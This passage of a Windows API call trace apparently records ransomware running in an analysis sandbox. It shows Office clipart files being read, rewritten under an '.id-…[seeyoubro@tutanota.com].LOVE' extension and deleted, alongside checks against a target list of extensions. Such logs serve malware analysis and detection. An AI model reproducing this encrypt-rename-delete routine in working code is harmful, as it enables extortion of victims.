lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.314] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.314] SetEndOfFile (hFile=0x2d8) returned 1 [0208.314] CloseHandle (hObject=0x2d8) returned 1 [0208.315] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.315] SetEndOfFile (hFile=0x33c) returned 1 [0208.315] CloseHandle (hObject=0x33c) returned 1 [0208.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.316] lstrlenW (lpString=".doc") returned 4 [0208.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.316] lstrlenW (lpString=".docx") returned 5 [0208.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.316] lstrlenW (lpString=".pdf") returned 4 [0208.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.316] lstrlenW (lpString=".xls") returned 4 [0208.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.316] lstrlenW (lpString=".xlsx") returned 5 [0208.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.316] lstrlenW (lpString=".ppt") returned 4 [0208.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.316] lstrlenW (lpString=".zip") returned 4 [0208.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.316] lstrlenW (lpString=".rar") returned 4 [0208.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.316] lstrlenW (lpString=".bz2") returned 4 [0208.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.317] lstrlenW (lpString=".7z") returned 3 [0208.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.317] lstrlenW (lpString=".dbf") returned 4 [0208.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.317] lstrlenW (lpString=".1cd") returned 4 [0208.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0208.317] lstrlenW (lpString=".jpg") returned 4 [0208.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.317] GetLastError () returned 0x0 [0208.318] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x265a, lpOverlapped=0x0) returned 1 [0208.415] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2660, lpOverlapped=0x0) returned 1 [0208.416] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.416] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.416] SetEndOfFile (hFile=0x2d8) returned 1 [0208.416] CloseHandle (hObject=0x2d8) returned 1 [0208.417] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.417] SetEndOfFile (hFile=0x33c) returned 1 [0208.418] CloseHandle (hObject=0x33c) returned 1 [0208.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0208.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.418] lstrlenW (lpString=".doc") returned 4 [0208.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.418] lstrlenW (lpString=".docx") returned 5 [0208.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.419] lstrlenW (lpString=".pdf") returned 4 [0208.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString=".xls") returned 4 [0208.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.419] lstrlenW (lpString=".xlsx") returned 5 [0208.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.419] lstrlenW (lpString=".ppt") returned 4 [0208.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.419] lstrlenW (lpString=".zip") returned 4 [0208.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.419] lstrlenW (lpString=".rar") returned 4 [0208.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString=".bz2") returned 4 [0208.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString=".7z") returned 3 [0208.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.419] lstrlenW (lpString=".dbf") returned 4 [0208.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.419] lstrlenW (lpString=".1cd") returned 4 [0208.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0208.419] lstrlenW (lpString=".jpg") returned 4 [0208.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.420] GetLastError () returned 0x0 [0208.420] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x370, lpOverlapped=0x0) returned 1 [0208.452] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x380, lpOverlapped=0x0) returned 1 [0208.453] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.453] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.454] SetEndOfFile (hFile=0x2d8) returned 1 [0208.454] CloseHandle (hObject=0x2d8) returned 1 [0208.454] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.454] SetEndOfFile (hFile=0x33c) returned 1 [0208.454] CloseHandle (hObject=0x33c) returned 1 [0208.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0208.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.455] lstrlenW (lpString=".doc") returned 4 [0208.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.455] lstrlenW (lpString=".docx") returned 5 [0208.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.455] lstrlenW (lpString=".pdf") returned 4 [0208.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.455] lstrlenW (lpString=".xls") returned 4 [0208.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.455] lstrlenW (lpString=".xlsx") returned 5 [0208.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.455] lstrlenW (lpString=".ppt") returned 4 [0208.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.455] lstrlenW (lpString=".zip") returned 4 [0208.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.455] lstrlenW (lpString=".rar") returned 4 [0208.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.455] lstrlenW (lpString=".bz2") returned 4 [0208.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.455] lstrlenW (lpString=".7z") returned 3 [0208.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.456] lstrlenW (lpString=".dbf") returned 4 [0208.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.456] lstrlenW (lpString=".1cd") returned 4 [0208.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0208.456] lstrlenW (lpString=".jpg") returned 4 [0208.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.456] GetLastError () returned 0x0 [0208.456] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xf92, lpOverlapped=0x0) returned 1 [0208.461] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0208.463] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.463] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.463] SetEndOfFile (hFile=0x2d8) returned 1 [0208.463] CloseHandle (hObject=0x2d8) returned 1 [0208.463] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.463] SetEndOfFile (hFile=0x33c) returned 1 [0208.464] CloseHandle (hObject=0x33c) returned 1 [0208.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0208.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.464] lstrlenW (lpString=".doc") returned 4 [0208.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.464] lstrlenW (lpString=".docx") returned 5 [0208.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.465] lstrlenW (lpString=".pdf") returned 4 [0208.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString=".xls") returned 4 [0208.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.465] lstrlenW (lpString=".xlsx") returned 5 [0208.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.465] lstrlenW (lpString=".ppt") returned 4 [0208.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.465] lstrlenW (lpString=".zip") returned 4 [0208.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.465] lstrlenW (lpString=".rar") returned 4 [0208.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString=".bz2") returned 4 [0208.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString=".7z") returned 3 [0208.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.465] lstrlenW (lpString=".dbf") returned 4 [0208.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.465] lstrlenW (lpString=".1cd") returned 4 [0208.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0208.465] lstrlenW (lpString=".jpg") returned 4 [0208.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.477] GetLastError () returned 0x0 [0208.477] ReadFile (in: hFile=0x380, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0208.528] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0208.529] ReadFile (in: hFile=0x380, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.529] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.529] SetEndOfFile (hFile=0x384) returned 1 [0208.530] CloseHandle (hObject=0x384) returned 1 [0208.530] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.530] SetEndOfFile (hFile=0x380) returned 1 [0208.531] CloseHandle (hObject=0x380) returned 1 [0208.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0208.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.531] lstrlenW (lpString=".doc") returned 4 [0208.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.531] lstrlenW (lpString=".docx") returned 5 [0208.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.532] lstrlenW (lpString=".pdf") returned 4 [0208.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString=".xls") returned 4 [0208.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.532] lstrlenW (lpString=".xlsx") returned 5 [0208.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.532] lstrlenW (lpString=".ppt") returned 4 [0208.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.532] lstrlenW (lpString=".zip") returned 4 [0208.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.532] lstrlenW (lpString=".rar") returned 4 [0208.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString=".bz2") returned 4 [0208.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString=".7z") returned 3 [0208.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.532] lstrlenW (lpString=".dbf") returned 4 [0208.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.532] lstrlenW (lpString=".1cd") returned 4 [0208.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0208.532] lstrlenW (lpString=".jpg") returned 4 [0208.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.543] GetLastError () returned 0x0 [0208.543] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0208.577] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0208.578] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.578] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.578] SetEndOfFile (hFile=0x300) returned 1 [0208.579] CloseHandle (hObject=0x300) returned 1 [0208.579] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.579] SetEndOfFile (hFile=0x33c) returned 1 [0208.579] CloseHandle (hObject=0x33c) returned 1 [0208.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0208.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.580] lstrlenW (lpString=".doc") returned 4 [0208.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.580] lstrlenW (lpString=".docx") returned 5 [0208.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.580] lstrlenW (lpString=".pdf") returned 4 [0208.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.580] lstrlenW (lpString=".xls") returned 4 [0208.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.580] lstrlenW (lpString=".xlsx") returned 5 [0208.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.580] lstrlenW (lpString=".ppt") returned 4 [0208.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.580] lstrlenW (lpString=".zip") returned 4 [0208.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.580] lstrlenW (lpString=".rar") returned 4 [0208.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.581] lstrlenW (lpString=".bz2") returned 4 [0208.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.581] lstrlenW (lpString=".7z") returned 3 [0208.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.581] lstrlenW (lpString=".dbf") returned 4 [0208.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.581] lstrlenW (lpString=".1cd") returned 4 [0208.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0208.581] lstrlenW (lpString=".jpg") returned 4 [0208.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.581] GetLastError () returned 0x0 [0208.581] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0208.648] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0208.649] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.649] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.649] SetEndOfFile (hFile=0x300) returned 1 [0208.650] CloseHandle (hObject=0x300) returned 1 [0208.650] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.650] SetEndOfFile (hFile=0x33c) returned 1 [0208.650] CloseHandle (hObject=0x33c) returned 1 [0208.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0208.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0208.651] lstrlenW (lpString=".doc") returned 4 [0208.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.651] lstrlenW (lpString=".docx") returned 5 